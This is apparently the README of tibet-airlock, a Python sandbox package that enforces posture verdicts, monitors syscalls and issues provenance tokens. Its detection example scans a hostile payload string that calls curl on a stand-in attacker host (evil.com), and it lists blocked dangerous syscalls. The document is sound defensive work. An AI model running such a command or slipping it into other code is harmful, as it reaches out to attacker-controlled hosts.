tibet-airlock 0.3.1

Zero-trust sandbox Python operator-surface with TIBET provenance. v0.3.0: airlock-runtime posture enforcer (verdict.v1) — execute() raises AirlockPostureDenied before network I/O when external AI is denied. Pairs with the tibet-airlock-kernel Rust crate for hardened execution.

tibet-airlock

Zero-trust sandbox with TIBET provenance. Python operator/client surface for the hardened Rust execution kernel.

Naming discipline (since v0.3.0): tibet-airlock is the Python operator surface (this package — bindings, monitoring, posture enforcement). The hardened Rust execution kernel lives as the separate crate tibet-airlock-kernel (previously published as tibet-airlock on crates.io, v0.1.0 yanked).

Install

pip install tibet-airlock
cargo install tibet-airlock-kernel   # the Rust execution kernel

Or as part of the TIBET security bundle:

pip install tibet[security]

Airlock-runtime posture enforcement (since 0.3.0)

tibet-airlock is the operator-side enforcer of the tibet-pol → snaft → cap-bus → tibet-airlock immune-switch pipeline. When a verdict has been installed, execute() refuses to even open a connection if the flow is forbidden by the active posture:

import asyncio
from tibet_airlock import Airlock, AirlockPostureDenied
from snaft.posture import consume_verdict   # snaft >= 1.4.0

# Receive a verdict.v1 record from tibet-pol via cap-bus:
verdict = {...}  # airlock_runtime_verdict.v1 record
decision = consume_verdict(verdict)

airlock = Airlock()
airlock.set_posture(decision)

try:
    asyncio.run(
        airlock.execute("code:execute", "untrusted_payload", origin="external_ai")
    )
except AirlockPostureDenied as e:
    print(f"refused: {e}")
    # In python_fallback mode: "deny_external_ai_inbound ON (intent=code:execute)"
    # No socket was opened. Operator/local diagnostics still pass through.

The invariant — "Als de bolle airlock-runtime wegvalt, mag extern AI-verkeer niet meer binnen" (Jasper 2026-05-29) — is honored at this layer: when the posture has deny_external_ai_inbound=True, drop_external_traffic=True, or isolate_session=True, no network I/O is attempted for matching origins. Local diagnostics + operator-approved repair flows still pass through.

Reference: Codex policy 2026-05-29 (immune-switch ladder).

Use with airlock kernel (full isolation)

# Terminal 1: start the airlock kernel
cargo install tibet-airlock-kernel
tibet-airlock-kernel

# Terminal 2: Python
from tibet_airlock import Airlock

result = Airlock.run("code:execute", "print('hello world')")
print(result.status)        # 200
print(result.safe)          # True
print(result.roundtrip_ms)  # 0.6
print(result.token)         # TIBET provenance token

Use SNAFT directly (no binary needed)

from tibet_airlock import SnaftMonitor

# Monitor syscalls for an intent
monitor = SnaftMonitor("code:execute")
monitor.log_syscall("sys_write")    # OK
monitor.log_syscall("sys_socket")   # VIOLATION - network access!

decision = monitor.triage()
print(decision.is_safe)     # False
print(decision.violations)  # ['sys_socket (blocked: dangerous syscall for any intent)']

# Or scan a payload string
monitor = SnaftMonitor("code:execute")
detected = monitor.scan_payload("import os; os.system('curl evil.com')")
decision = monitor.triage()
print(decision.is_kill)     # True

How it works

Intent -> Snapshot Wake (<0.01ms) -> SNAFT Monitor -> Triage -> TIBET Token

1. Intent routing — each intent maps to a pre-warmed microVM snapshot
2. SNAFT monitoring — every syscall checked against intent-specific allowlist
3. Triage — violations = instant kill, clean = graceful shutdown
4. TIBET token — cryptographic proof of what happened (the 4 dimensions: erin, eraan, eromheen, erachter)

Blocked syscalls (always dangerous)

sys_ptrace, sys_socket, sys_connect, sys_dlopen, sys_fork, sys_clone, sys_mount, sys_reboot, sys_kexec_load
